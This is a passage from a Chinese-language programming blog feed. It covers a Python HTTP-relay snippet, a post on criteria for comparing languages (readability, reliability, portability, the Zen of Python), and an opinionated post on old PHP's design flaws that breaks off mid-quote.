        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot; --- Done sending. Response: &quot;</span>
        <span style="color: #ff7700;font-weight:bold;">print</span>
&nbsp;
        contentLength = <span style="color: #008000;">None</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> remoteFile:
            line = line.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #66cc66;">&gt;&gt;</span> clientFile, line
            <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:
                <span style="color: #ff7700;font-weight:bold;">break</span>
            <span style="color: #ff7700;font-weight:bold;">print</span> line
            <span style="color: #ff7700;font-weight:bold;">if</span> line.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'content-length:'</span><span style="color: black;">&#41;</span>:
                _, length = line.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">':'</span><span style="color: black;">&#41;</span>
                contentLength = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>length<span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">if</span> contentLength <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">None</span>:
            body = remoteFile.<span style="color: black;">read</span><span style="color: black;">&#40;</span>contentLength<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            body = remoteFile.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
        clientFile.<span style="color: black;">write</span><span style="color: black;">&#40;</span>body<span style="color: black;">&#41;</span>
&nbsp;
        remoteFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        clientFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p></code><br />
可讀性很明顯地Python優於Perl，我在這裡說明為什麼，原因其實很簡單，因為Perl加太多語法和用太多特殊符號在他的語言中，Perl對於正規表示法有語法，對於讀檔有特別的語法，對於向系統下指令有特別的語法，Perl對於這些瑣碎的功能加了太多的語法，使得用Perl寫出來的程式難以被簡單的理解，舉個最顯著的例子，就是他的特別變數，Perl有一系列$開頭的特別變數，在那程式裡就出現了幾次</p>
<blockquote><p>$$<br />
$|<br />
$_</p></blockquote>
<p>請問這三個特別變數在Perl中各代表什麼意思? 除非你真的對Perl很熟，否則答案肯定是我不知道，我得翻手冊，這就是為什麼Perl可讀性較差的原因之一，Perl的可讀性一直是很多人所詬病的，接著我們在裡面看到有一行很有趣的是有註解的，他這樣寫</p>
<blockquote><p>$| = 1;    #Disable buffering</p></blockquote>
<p>如果他不寫註解，我敢打賭沒幾個人能光看那一行知道這是在幹什麼的，因為我不太清楚它要disable buffering的原因，而disable buffering又是指哪個buffer? 網路? STDIO? 而且不那樣做也不會怎樣，所以我在Python版裡沒有照著寫這行，但是我們假設我們也需要在Python裡寫這行，那可能會是怎樣寫，我們假設他是要disable socket的buffering，而且我們假設Python有個函數叫disableBuffering()，所以我們相對應的Python版本就這樣寫</p>
<blockquote><p>disableBuffering()</p></blockquote>
<p>看出差別了嗎? 是的，Perl將這些符號做為特殊用途，加了很多特殊的語法，雖然讓程式較短較好寫，但是很明顯地讓可讀性大大地降低，在沒有查手冊之前根本沒辦法得知這一行到底是在做什麼用的，然而，因為用語法來實現太多功能，某種程度上算是不良的設計，因為他們都能夠用函式或函式庫來取代，而函式庫的取代雖然要寫多一點字，但是可讀性大大提升，光是看到disableBuffering()這樣的函數名稱就能很清楚地明白這一行是在做什麼用的，可讀性的差別就是這些語言的天性，也是判斷程式語言優劣的關鍵之一</p>
<h3>可寫性</h3>
<p>可寫性是指一款程式語言是否很容易撰寫</p>
<p>通常當一款程式語言很囉唆或不直覺時，他的可寫性會比較差，但相對的可讀性可能會比較好，反之亦然，以Perl為例子，如果你對那些符號很熟，你可以打很少的字，就寫出你要的功能，但是那樣犧牲了可讀性，但是其實某些情況下可讀性和可寫性都可以達到一個很不錯的平衡，我認為Python就是這樣的例子，Python因為語法限制性高，加上符號的定義也很簡短，所以寫Python的速度很快</p>
<h3>可靠性</h3>
<p>可靠性是指不易讓使用者犯錯，而犯錯也可以很容易的找出來</p>
<p>這比起可讀性和可寫性較難以解釋，但是我想這樣說，如果你受傷不會覺得痛，會發生什麼事? 答案很簡單，很快的你就會上西天，人類的痛覺是一種可以自我警告的系統，而程式的可靠性，所指的犯錯容易找出來也就是這個意思，試想一下，當你不小心打錯了程式，但是因為程式語言語法設計上很寬鬆，編譯一樣可以通過，他沒有警告你錯誤，程式可以執行，但是卻不是正確地執行，很明顯的後果就是開發者沒辦法輕易的得知這個問題，更糟的是因為沒有辦法偵測出錯誤，錯誤一樣還在那裡，如果你開發的是飛機的飛航系統，很快的你的程式在開發期間沒有讓你知道有問題，當真正運行時問題才暴發開來，這時麻煩就大了，這就是為什麼可靠性很重要的原因，舉個C語言的實例</p>
<pre lang="c++">int array[10];
int i = 13;
array[i] = 5; // oops</pre>
<p>請問上面這段程式碼會有什麼樣的結果呢? 首先，這樣寫語法正確，所以可以執行，而C語言為了效能考量並不會對陣列索引的邊界做檢查，所以當你的程式跑到最後一行，對一個超出你陣列範圍的整數做指派會發生什麼事? 答案是不知道，很簡單的原因是，這array是放在stack裡的，你今天對他做存取，它會從它在stack中分配到的空間位置往下加元素個數乘上索引的大小，因為他不做檢查，所以只是忠實地去做，所以要看在stack中那個位置到底是什麼，那個倒霉鬼可能是呼叫函數的位址，可能是某人分配的區域變數，端看當時的環境是怎樣，被蓋掉的那塊記憶體的用途不同，發生的事情也會不一樣，這個叫做行為未定義，你永遠沒辦法確切的說出會發生什麼事，就像你拿一塊石頭從101往下丟一樣，會不會砸到人、砸到誰根本都是無法預知的事情，這整個程式碼所要呈現的重點就在於，因為為了效率考量，不做檢查，所以出錯也沒辦法知道，C語言就是這樣自由的語言，因為這樣的特性使它在低階的應用上受到歡迎，但是也因為這樣，很多新手程式設計師難以駕禦C/C++就是這個原因，因為C/C++太自由了，他們常常會怎麼死的都不知道</p>
<p>因此，做為一款嚴僅的程式語言，最好要能盡早在程式的編譯時期，就讓使用者知道出錯了，語法錯誤的檢查某些程度上來說是這樣的用意，C++ meta-programming的觀念裡，也有一條讓錯誤盡早在編譯時期被發現，與其等程式執行了才出錯，在編譯時期就發現才是比較好的，因為程式執行的不確定性比較多</p>
<h3>可攜性</h3>
<p>可攜性是指一個程式語言對於環境的依賴性有多低</p>
<p>我們都習慣使用Windows作業系統，但是事實上世界上還有很多種不同的電腦作業的環境，程式是要在這些環境中執行的，一個可攜性好的程式語言應該要和平台沒有關聯，或是做適當的介面來降低藕合度，舉個例子，你如果用VB6.0寫一個視窗程式，那麼他可以在Linux下面跑嗎? 就我所知的答案應該是不行，而相對於Python，Python的語言基本上是和平台無關的，如果搭配一個一樣可攜性很好的視窗函式庫就能寫出跨平台的視窗程式，能在Windows下跑，也能在Linux跑，所以相較之下Python的可攜性就比VB6.0來得好很多，大多數常見的程式語言可攜性其實都很不錯，從C/C++、Java、Perl、Python等都能在各大平台看到這些語言的身影，但是也是有某種程度上的差別，有些語言雖然有可攜性，但並不是完全地可攜，C/C++就是很好的例子，同樣一隻程式，在不同的環境下，很多時候你可能得視你編譯的環境、平台來對程式做某種程度上的修改，才能在其它平台執行，因為他是屬於靜態的語言，所以沒有辦法，靜態語言的可攜性基本上會比動態語言差</p>
<h2>主觀的評估條件</h2>
<p>上面提到的那些是客觀的評估條件，照程式語言裡的話，其實還少了成本和一些瑣碎的部份，但因為太囉唆就不在這裡多提，接著要介紹的就是主觀的程式語言好壞的評估條件，基本上我所學的程式語言課程沒有提到這部份，是我自己加上來的，因為我覺得這是很重要的一個部份，在評估完上面這些項目後，要來看的就是主觀的評估項目</p>
<h3>語言哲學</h3>
<p>我所能想到最主要也最重要的主觀評估條件就是語言背後的哲學，很多語言設計都有思想的，不是高興隨便亂設計的，他們很多都是從這些中心思想出發來進行設計，當遇到設計上的兩難問題時，他們會以這些中心思想來做為發想，並不是每款程式語言都有顯著的哲學口號，或許是我不知道，我在想brainfuck的哲學思想是』Fuck your brain』嗎?</p>
<p>但是有一些語言的中心思想很明確，而且他們也都照著這個中心思想在發展，有趣的是有兩個完全相反的中心思想，剛好是做為語言設計的哲學例子，那就是Perl和Python，首先來看Perl的哲學:</p>
<blockquote><p><a href="http://en.wikipedia.org/wiki/There%27s_more_than_one_way_to_do_it">There&#8217;s more than one way to do it</a></p></blockquote>
<p>他的想法就是，可以有很多種方法可以辦到同樣的事情，而Zen of Python，也就是Python的禪道剛好相反</p>
<blockquote><p>There should be one&#8211; and preferably only one &#8211;obvious way to do it.</p></blockquote>
<p>我對於Perl的思想不瞭解，我不太明白他們那樣想的理由是什麼，但是我很清楚Python他所想表達的，相較於Perl，因為同一件事情可以有很多方法達成的話，那麼通常依照人的性格，一百個人可能就會寫出一百種不同的程式，而且在這些程式中有大部份都是濫用的程式，程式碼也因為可能性太多，會難以理解，但是以相反的哲學來設計的話，只有一個明確的方法，那麼就直接使用吧，一來不需要花額外的時間浪費在思考非解決問題的關鍵上，接著也因為只有一個明顯的方法來達成，可讀性自然也較佳，因為顯而易見，這是我對Python禪到的見解，但是佛曰: 不可說，即然他名為禪我想意思就是要你自己悟，這就是一個程式語言背後哲學有趣的地方</p>
<p>然而，上面Python提到的這句話，並不是Python禪道的全部，而是做為中心思想很重要的一句，事實上<a href="http://www.python.org/dev/peps/pep-0020/">Python的禪</a>是由好幾句組成的:</p>
<blockquote><p>Beautiful is better than ugly.<br />
Explicit is better than implicit.<br />
Simple is better than complex.<br />
Complex is better than complicated.<br />
Flat is better than nested.<br />
Sparse is better than dense.<br />
Readability counts.<br />
Special cases aren&#8217;t special enough to break the rules.<br />
Although practicality beats purity.<br />
Errors should never pass silently.<br />
Unless explicitly silenced.<br />
In the face of ambiguity, refuse the temptation to guess.<br />
There should be one&#8211; and preferably only one &#8211;obvious way to do it.<br />
Although that way may not be obvious at first unless you&#8217;re Dutch.<br />
Now is better than never.<br />
Although never is often better than *right* now.<br />
If the implementation is hard to explain, it&#8217;s a bad idea.<br />
If the implementation is easy to explain, it may be a good idea.<br />
Namespaces are one honking great idea &#8212; let&#8217;s do more of those!</p></blockquote>
<p>這麼多的句子，以我快十年寫程式的經驗，我都能很認同這些話所說的，不過有些我還是不太明白，像是Simple is better than complex.就顯而易見的是KISS原則，而後面的Complex is better than complicated.就不太瞭解他所表答的意思</p>
<p>做為一款優秀的語言，Python有他精深的哲學做為發展的中心思想，而這思想也深得我心，所以我喜歡Python，Python的所做所為都能體現出他寫的這些，每個人認同的哲學可能會不太一樣，而做為認同的這部份，就是較為主觀的評估條件，做為程式語言的哲學，上面那些客觀層面討論完之後，剩下的就是這些思想，而思想就很難分對錯，這也是為什麼程式語言討論好壞最後都變成無止盡的爭論，因為他們的中心思想不一樣</p>
<h2>結論</h2>
<p>寫了這麼多，就是希望大家能夠瞭解程式語言要怎樣比較，不是說程式語言沒有好壞之分來當做不知道怎麼評估的藉口，又或著只會單靠喜好來決定程式語言</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2010/01/08/how-to-compare-languages/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>以前的PHP有很多缺陷</title>
		<link>http://blog.ez2learn.com/2010/01/06/old-php-sucks/</link>
		<comments>http://blog.ez2learn.com/2010/01/06/old-php-sucks/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 15:42:15 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[WTF]]></category>
		<category><![CDATA[分享]]></category>
		<category><![CDATA[爛]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[sucks]]></category>
		<category><![CDATA[TurboGears]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=907</guid>
		<description><![CDATA[有人在plurk上PO了一篇文章的連結，PHP 開發迷思 (三) – PHP 很糟糕？，因為我不認同那樣的看法，所以我回覆說php很爛，當你說一個語言很爛時，就要有心理準備有人準備要跟你戰了，果然有人不認同我的說法，當然任何人都可以不認同我所說的，而且好和爛是很主觀的，同時也是是相對的，但是我所說的是有根據的，說php爛不是我一個人的說法，而是已經被說到爛掉的說法，很多比我有經驗多的網頁程式設計師都異口同聲的說PHP很爛，為了解釋為什麼我認為PHP很爛(我在本文指的爛是指語言設計上的眾多嚴重缺陷)，我寫了這篇文章
更新:
我承認這篇寫得有點偏激，也是以前的觀點，也是在發洩以前對PHP的不滿，我沒有寫較新的PHP，所以我收回PHP很爛，改成以前的PHP有很多缺陷，我想表達的是一款語言的很多缺陷，而且是在以前的缺陷，現在PHP確實有改進很多，所以我寫了一篇 如何評估比較程式語言
另外我想表達的一件事是，當有人說你用的程式語言有問題時，為什麼一定要這麼抓狂呢? 如果一個程式語言它的缺陷沒有人罵，大家都愛語言如命，那麼語言的開發者或團隊要如何知道這語言要改進什麼呢? PHP有很多缺陷是事實，然而說出來很多人可能就不高興，然而我選擇用較激烈的字眼是因為他改進實在太慢了，我們可以看到以前的Magic quote、unicode問題等等，至今都仍未解決，要php6才會解決，這些問題不是只有我覺得很糟，而是我發現很多人都跟我一樣覺得這太差了，我每次罵PHP都真的很希望他在下一個版本就把這些鳥問題解決掉，但以我之前的經驗它都讓我失望，所以我怨念很深，這篇文章寫起來也特別偏激，但我想表達的是，我說PHP爛某種程度是希望他變好，那你可能會問，我為什麼不說Python爛，然後哪裡爛，很簡單的原因是我太喜歡Python，當你很喜歡一個東西時你是看不見這東西的缺點，如果有人說Python爛，我覺得很好，我想知道他有哪些缺陷，是我沒看到的
除此之外，對於初學者來說，PHP的低門檻讓他成為吸引新手的蜜罐，而很多人都只知道PHP可以寫網頁，但是不知道其實所有程式語言都能寫網頁，我希望透過罵PHP也能讓更多人知道其實還有更多選擇，但其實這會讓人覺得反感，我在這背後目的是希望其它語言能夠有更多人使用，有競爭才有進步，而對於國內大部份人都只用PHP在刻網頁我也覺得很失望，我同時也希望讓大家知道其實網頁的技術現在已經很先進了，很少有人使用框架等次世代的網頁技術，所以有興趣也可以看一些較新的技術，而不是土法煉鋼

美與醜
當路上走來一個女的，一個人說她很正，另一個人說她很醜，美醜好壞基本上都是主觀的，而且是相對的，如果說走在路上的那個女生是世界上唯一的女生，那麼何從比較她的美醜呢? 我今天說PHP很爛，是基於我的經驗，和看別人的經驗，我有用不同的語言、工具寫過網頁程式，在這樣的情況下，因為經過比較才有辦法知道好壞，有趣的是在Plurk裡的討論有人甚至懷疑我沒寫過PHP，我個人比較喜歡就事論事，不太喜歡用質疑對方的立場來證明自己的說法，當別人懷疑你經歷時，你一樣可以這樣懷疑別人，像是「你們有沒有用非PHP的平台寫過網頁程式?」，「你們有沒有用現代一點的平台像是Django、ROR寫過網頁程式?」，但是這樣會讓問題失焦，到後來變成在檢視對方背景來決定他講這話是否是對的，而沒有去看這些話是否是真的正確或有道理，即使這是一個主觀的問題，而我描述的只是依我經驗和認知所得到的想法，每個人都可以不同意我所說的，但是那些確實是我所經歷過的，我可以說謊「天阿~ PHP好棒，大家快去學」，或是選擇不發言，但是當我說出「PHP很爛」，千真萬確是我的心得
我的經驗
我在小學六年級時家裡有了撥接的網路，在那時候開始學習怎麼寫網頁，當時所謂的網頁，也只是到處亂貼一些資料，整畫面閃來閃去的GIF圖檔，都是那時候新手網頁的調調，更誇張一點會加一堆亂七八糟的特效，上傳到免費的空間，我還記得當時申請的空間叫台北酒巴什麼的，當時真的覺得做網頁是件很酷的事情，在我學習寫程式之前其實大多都在做網頁，做破破爛爛的網頁，但是樂在其中，當時覺得程式真是很神奇的東西，有時會載一些用perl寫的cgi程式來架架看，光是架那些留言板或聊天室之類的，就是一件大工程，當時對於行末少一個;就沒辦法執行這件事覺得很驚訝，居然程式只要一個符號錯了就不能跑，那到底要怎麼寫?
當我上國一開始自己學寫VB6.0之後，因為有了VB6.0的程式設計經驗，我終於漸漸瞭解perl的cgi怎麼寫，這之中我記得我也有碰過ASP，因為他語法和VB一樣，但是並沒有太深入，後來因為我父親想弄一個放他文章的網站，於是我就用Perl-CGI幫他寫了一套文章管理系統，自己也順便做了一個個人工作室的網站
Victor工作室
我可以透過後台管理系統來新增消息，或是檔案下載等等，同時我也用Perl-CGI寫了一個留言版系統
Victor工作室 &#8211; 留言版 1.1 Beta
可以在這裡下載，在寫了這麼多Perl-CGI的程式後，發現PHP這東西好像漸漸流行起來，越來越多用PHP寫的網站、免費的網頁程式等等，在這之前幾乎都是Perl-CGI的天下，PHP做為後起之秀取而代之，因為他的門檻比Perl還低，同時比起Perl，PHP的程式也好懂許多，所以我也開始學習PHP，PHP絕對是當時最佳選擇之一，當之無愧，在寫的過程中有遇過不少問題，像是許功蓋問題，處理SQL Injection的問題，PHP的自動引號取代問題(Magic quote)，這些是顯著的問題，但有些問題在當時一直感覺不太對勁，但是也說不出個所以然，像是它的形別等等問題，相較於我當時所會的VB，PHP是一款非常不嚴僅的語言，但是我在當時並不覺得它很爛，可能是因為不知道有其它選擇，又或著當時真的沒什麼選擇，所以一邊學PHP，一邊我就把之前寫的文章系統改成用PHP重寫，到今天我父親還在使用這套系統:
金門根本文采工作室
在這之後有很長的時間，寫網頁我也都是用PHP，直到我學會了Python，大約已經是大二以後的事了，在那時我選擇了TurboGears當網頁框架，那時我回首過去，才深深地發現PHP是一款多麼爛的語言，在當時他或許是開路先鋒，讓網頁程式開發的門檻降低到一定的程度，但是在我學習寫TurboGears時他還是一樣的爛，以前我遇過的那些問題大多數都還在，而且學會了Python這種清晰的語言更加地覺得PHP真的很污穢，在那之後我用TurboGears開發了一些網頁，我以前在PHP遇到的鳥問題從來都沒有再碰到過，開發的速度也大大加快，我能夠專注在我所想開發的功能上，而不是整天去處理那些鳥問題，安全性也大大提升，目前那些網頁還在跑的有
Walele創意投票系統 是一個線上投票系統，從決定到開發完成上線只用了一週的課餘時間，用的是TurboGears1
Now.In廣播平台 是一個線上廣播平台，目前還在beta版的階段，用的是TurboGears2
試鏡報名系統 用一個晚上寫出來的試鏡報名系統，可以上傳照片，後面還有一個後台可以看資料
我承認我寫的網頁程式其實不多，但是從我第一個寫的網頁到今天已經有十年以上，我看見網路的發展，網頁開發工具的演進，PHP在以前我不會說他爛，因為他是開路先鋒，沒有他網頁程式設計可能難以上手，但是這麼多年來他有在改進，但是改進實在太慢，問題還是一大堆，再加上他改進的方式都是疊床架屋，而不是正視問題並解決它，再者相較於現代的網頁開發工具，PHP真的是太落伍了，先天不良，後天失調，所以今天我才說PHP很爛，即使PHP有了不少網頁框架，還是擺脫不他那語言本身就一堆問題的原罪，他之所以會大流行，回首當時，不外乎就是當時正好缺少一個低門檻的網頁開發工具、平台，PHP來得正是時候，所以大紅大紫，但是即使再怎麼流行也不能抹掉PHP語言設計很爛的這個事實
其它人的看法
我知道我說的可能很多人不認同，又或著不相信，但如果是大部份有接觸過現代網頁開發平台，很有經驗的網頁開發者都異口同聲的說php sucks呢? 在Google搜尋 『php sucks』，可以找到一大堆的網頁，他們都在說PHP很爛，我在此引用幾篇他們寫的
I’m sorry, but PHP sucks.
這篇文章清楚地條列出PHP哪裡爛，會遇到哪些麻煩的問題，像是字元支援的問題、不相容的問題、它莫名奇妙的形別系統等等
PHP Sucks, But It Doesn&#8217;t Matter
這篇文章引用其它人的說法，和他自己的經驗來說明PHP很爛，他這麼說道
I&#8217;ve written both VB and PHP code, and in my opinion the comparison is grossly unfair to Visual Basic. Does PHP suck? [...]]]></description>
			<content:encoded><![CDATA[<p>有人在plurk上PO了一篇文章的連結，<a href="http://www.jaceju.net/blog/?p=936">PHP 開發迷思 (三) – PHP 很糟糕？</a>，因為我不認同那樣的看法，所以我回覆說php很爛，當你說一個語言很爛時，就要有心理準備有人準備要跟你戰了，果然有人不認同我的說法，當然任何人都可以不認同我所說的，而且好和爛是很主觀的，同時也是是相對的，但是我所說的是有根據的，說php爛不是我一個人的說法，而是已經被說到爛掉的說法，很多比我有經驗多的網頁程式設計師都異口同聲的說PHP很爛，為了解釋為什麼我認為PHP很爛<strong>(我在本文指的爛是指語言設計上的眾多嚴重缺陷)</strong>，我寫了這篇文章</p>
<h3>更新:</h3>
<p>我承認這篇寫得有點偏激，也是以前的觀點，也是在發洩以前對PHP的不滿，我沒有寫較新的PHP，所以我收回PHP很爛，改成以前的PHP有很多缺陷，我想表達的是一款語言的很多缺陷，而且是在以前的缺陷，現在PHP確實有改進很多，所以我寫了一篇 <a href="http://blog.ez2learn.com/2010/01/08/how-to-compare-languages/">如何評估比較程式語言</a></p>
<p>另外我想表達的一件事是，當有人說你用的程式語言有問題時，為什麼一定要這麼抓狂呢? 如果一個程式語言它的缺陷沒有人罵，大家都愛語言如命，那麼語言的開發者或團隊要如何知道這語言要改進什麼呢? PHP有很多缺陷是事實，然而說出來很多人可能就不高興，然而我選擇用較激烈的字眼是因為他改進實在太慢了，我們可以看到以前的Magic quote、unicode問題等等，至今都仍未解決，要php6才會解決，這些問題不是只有我覺得很糟，而是我發現很多人都跟我一樣覺得這太差了，我每次罵PHP都真的很希望他在下一個版本就把這些鳥問題解決掉，但以我之前的經驗它都讓我失望，所以我怨念很深，這篇文章寫起來也特別偏激，但我想表達的是，我說PHP爛某種程度是希望他變好，那你可能會問，我為什麼不說Python爛，然後哪裡爛，很簡單的原因是我太喜歡Python，當你很喜歡一個東西時你是看不見這東西的缺點，如果有人說Python爛，我覺得很好，我想知道他有哪些缺陷，是我沒看到的</p>
<p>除此之外，對於初學者來說，PHP的低門檻讓他成為吸引新手的蜜罐，而很多人都只知道PHP可以寫網頁，但是不知道其實所有程式語言都能寫網頁，我希望透過罵PHP也能讓更多人知道其實還有更多選擇，但其實這會讓人覺得反感，我在這背後目的是希望其它語言能夠有更多人使用，有競爭才有進步，而對於國內大部份人都只用PHP在刻網頁我也覺得很失望，我同時也希望讓大家知道其實網頁的技術現在已經很先進了，很少有人使用框架等次世代的網頁技術，所以有興趣也可以看一些較新的技術，而不是土法煉鋼</p>
<p><span id="more-907"></span></p>
<h2>美與醜</h2>
<p>當路上走來一個女的，一個人說她很正，另一個人說她很醜，美醜好壞基本上都是主觀的，而且是相對的，如果說走在路上的那個女生是世界上唯一的女生，那麼何從比較她的美醜呢? 我今天說PHP很爛，是基於我的經驗，和看別人的經驗，我有用不同的語言、工具寫過網頁程式，在這樣的情況下，因為經過比較才有辦法知道好壞，有趣的是在Plurk裡的討論有人甚至懷疑我沒寫過PHP，我個人比較喜歡就事論事，不太喜歡用質疑對方的立場來證明自己的說法，當別人懷疑你經歷時，你一樣可以這樣懷疑別人，像是「你們有沒有用非PHP的平台寫過網頁程式?」，「你們有沒有用現代一點的平台像是Django、ROR寫過網頁程式?」，但是這樣會讓問題失焦，到後來變成在檢視對方背景來決定他講這話是否是對的，而沒有去看這些話是否是真的正確或有道理，即使這是一個主觀的問題，而我描述的只是依我經驗和認知所得到的想法，每個人都可以不同意我所說的，但是那些確實是我所經歷過的，我可以說謊「天阿~ PHP好棒，大家快去學」，或是選擇不發言，但是當我說出「PHP很爛」，千真萬確是我的心得</p>
<h2>我的經驗</h2>
<p>我在小學六年級時家裡有了撥接的網路，在那時候開始學習怎麼寫網頁，當時所謂的網頁，也只是到處亂貼一些資料，整畫面閃來閃去的GIF圖檔，都是那時候新手網頁的調調，更誇張一點會加一堆亂七八糟的特效，上傳到免費的空間，我還記得當時申請的空間叫台北酒巴什麼的，當時真的覺得做網頁是件很酷的事情，在我學習寫程式之前其實大多都在做網頁，做破破爛爛的網頁，但是樂在其中，當時覺得程式真是很神奇的東西，有時會載一些用perl寫的cgi程式來架架看，光是架那些留言板或聊天室之類的，就是一件大工程，當時對於行末少一個;就沒辦法執行這件事覺得很驚訝，居然程式只要一個符號錯了就不能跑，那到底要怎麼寫?</p>
<p>當我上國一開始自己學寫VB6.0之後，因為有了VB6.0的程式設計經驗，我終於漸漸瞭解perl的cgi怎麼寫，這之中我記得我也有碰過ASP，因為他語法和VB一樣，但是並沒有太深入，後來因為我父親想弄一個放他文章的網站，於是我就用Perl-CGI幫他寫了一套文章管理系統，自己也順便做了一個個人工作室的網站</p>
<p><a href="http://www.kinmen.info/vic/">Victor工作室</a></p>
<p>我可以透過後台管理系統來新增消息，或是檔案下載等等，同時我也用Perl-CGI寫了一個留言版系統</p>
<p><a href="http://www.kinmen.info/vic/book/index.pl">Victor工作室 &#8211; 留言版 1.1 Beta</a></p>
<p>可以在<a href="http://www.kinmen.info/vic/download.pl#2">這裡下載</a>，在寫了這麼多Perl-CGI的程式後，發現PHP這東西好像漸漸流行起來，越來越多用PHP寫的網站、免費的網頁程式等等，在這之前幾乎都是Perl-CGI的天下，PHP做為後起之秀取而代之，因為他的門檻比Perl還低，同時比起Perl，PHP的程式也好懂許多，所以我也開始學習PHP，PHP絕對是當時最佳選擇之一，當之無愧，在寫的過程中有遇過不少問題，像是許功蓋問題，處理SQL Injection的問題，PHP的自動引號取代問題(Magic quote)，這些是顯著的問題，但有些問題在當時一直感覺不太對勁，但是也說不出個所以然，像是它的形別等等問題，相較於我當時所會的VB，PHP是一款非常不嚴僅的語言，但是我在當時並不覺得它很爛，可能是因為不知道有其它選擇，又或著當時真的沒什麼選擇，所以一邊學PHP，一邊我就把之前寫的文章系統改成用PHP重寫，到今天我父親還在使用這套系統:</p>
<p><a href="http://www.kinmen.info/">金門根本文采工作室</a></p>
<p>在這之後有很長的時間，寫網頁我也都是用PHP，直到我學會了Python，大約已經是大二以後的事了，在那時我選擇了TurboGears當網頁框架，那時我回首過去，才深深地發現PHP是一款多麼爛的語言，在當時他或許是開路先鋒，讓網頁程式開發的門檻降低到一定的程度，但是在我學習寫TurboGears時他還是一樣的爛，以前我遇過的那些問題大多數都還在，而且學會了Python這種清晰的語言更加地覺得PHP真的很污穢，在那之後我用TurboGears開發了一些網頁，我以前在PHP遇到的鳥問題從來都沒有再碰到過，開發的速度也大大加快，我能夠專注在我所想開發的功能上，而不是整天去處理那些鳥問題，安全性也大大提升，目前那些網頁還在跑的有</p>
<p><a href="http://walele.com/">Walele創意投票系統</a> 是一個線上投票系統，從決定到開發完成上線只用了一週的課餘時間，用的是TurboGears1</p>
<p><a href="http://now.in">Now.In廣播平台</a> 是一個線上廣播平台，目前還在beta版的階段，用的是TurboGears2</p>
<p><a href="http://tiangeapp.ez2learn.com/screentest/form">試鏡報名系統</a> 用一個晚上寫出來的試鏡報名系統，可以上傳照片，後面還有一個後台可以看資料</p>
<p>我承認我寫的網頁程式其實不多，但是從我第一個寫的網頁到今天已經有十年以上，我看見網路的發展，網頁開發工具的演進，PHP在以前我不會說他爛，因為他是開路先鋒，沒有他網頁程式設計可能難以上手，但是這麼多年來他有在改進，但是改進實在太慢，問題還是一大堆，再加上他改進的方式都是疊床架屋，而不是正視問題並解決它，再者相較於現代的網頁開發工具，PHP真的是太落伍了，先天不良，後天失調，所以今天我才說PHP很爛，即使PHP有了不少網頁框架，還是擺脫不他那語言本身就一堆問題的原罪，他之所以會大流行，回首當時，不外乎就是當時正好缺少一個低門檻的網頁開發工具、平台，PHP來得正是時候，所以大紅大紫，但是即使再怎麼流行也不能抹掉PHP語言設計很爛的這個事實</p>
<h2>其它人的看法</h2>
<p>我知道我說的可能很多人不認同，又或著不相信，但如果是大部份有接觸過現代網頁開發平台，很有經驗的網頁開發者都異口同聲的說php sucks呢? 在Google搜尋 『php sucks』，可以找到一大堆的網頁，他們都在說PHP很爛，我在此引用幾篇他們寫的</p>
<h3><a href="http://maurus.net/resources/programming-languages/php/">I’m sorry, but PHP sucks.</a></h3>
<p>這篇文章清楚地條列出PHP哪裡爛，會遇到哪些麻煩的問題，像是字元支援的問題、不相容的問題、它莫名奇妙的形別系統等等</p>
<h3><a href="http://www.codinghorror.com/blog/archives/001119.html">PHP Sucks, But It Doesn&#8217;t Matter</a></h3>
<p>這篇文章引用其它人的說法，和他自己的經驗來說明PHP很爛，他這麼說道</p>
<blockquote><p>I&#8217;ve written both VB and PHP code, and in my opinion the comparison is grossly unfair to Visual Basic. Does PHP suck? Of course it sucks. Did you read any of the links in Tim&#8217;s blog entry? It&#8217;s a galactic supernova of incomprehensibly colossal, mind-bendingly awful suck. If you sit down to program in PHP and have even an ounce of programming talent in your entire body, there&#8217;s no possible way to draw any other conclusion. It&#8217;s inescapable.</p></blockquote>
<p>大略翻譯是:</p>
<p style="padding-left: 30px;">PHP很爛? 當然它很爛，你有讀Tim部落格裡引用的每個連結嗎? 它真的是宇宙超級霹靂無敵的爛，就算你有一身寫PHP的才能，也沒辦法下任何其它的結論，這是事實</p>
<h3><a href="http://www.tbray.org/ongoing/When/200x/2006/02/17/PHP">On PHP</a></h3>
<p>這篇文章整理了一整一大堆資深的網頁程式開發人員，對於PHP的看法，大略挑幾句來翻譯</p>
<blockquote><p>Adam Kalsey:</p>
<p>If you want some support on your foray into PHP, please let me know. I’d love to lend a hand. ¶</p>
<p>It’s easy to write bad code in PHP. Or in Perl. Or in C. Or Java. I think two things contribute to the perception that PHP code is crap. First of all, when you write spaghetti PHP, it still works just fine. So unless you’re a professional programmer or maintaining lots of code, you probably don’t care that the code is crap.</p>
